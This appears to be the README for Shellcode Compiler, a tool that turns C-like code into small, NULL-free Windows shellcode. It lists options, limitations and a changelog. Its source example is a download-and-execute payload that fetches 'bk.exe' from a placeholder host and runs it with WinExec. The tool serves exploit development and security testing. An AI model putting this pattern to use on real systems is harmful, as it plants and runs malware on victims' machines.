Description

Shellcode Compiler is a program that compiles C/C++ style code into a small, position-independent and NULL-free shellcode for Windows. It is possible to call any Windows API function in a user-friendly way.

Shellcode Compiler takes as input a source file and it uses it’s own compiler to interpret the code and generate an assembly file which is assembled with NASM (http://www.nasm.us/).

Shellcode Compiler was released at DefCamp 7 conference in Romania, November 2016.

Download

The latest version of the source code and binaries is available on the GitHub page:

https://github.com/NytroRST/ShellcodeCompiler

Command line options

-h (--help)      : Show this help message
-v (--verbose)   : Print detailed output
-t (--test)      : Test (execute) generated shellcode
-r (--read)      : Read source code file
-o (--output)    : Output file of the generated binary shellcode
-a (--assembbly) : Output file of the generated assembly code

Source code example

function URLDownloadToFileA("urlmon.dll");
function WinExec("kernel32.dll");
function ExitProcess("kernel32.dll");

URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
WinExec("bk.exe",0);
ExitProcess(0);

Invokation example

ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm

Limitations

1. It is not possible to use the return value of an API call
2. It is not possible to use pointers or buffers
3. It is not possible to declare variables

Changelog

1. Code refactoring
2. Exception handling on testing a shellcode (Alkis Christidis)

All these limitations will be fixed as soon as possible. However, many other limitations will exist. This is an Alpha version. Please report any bugs or suggestions.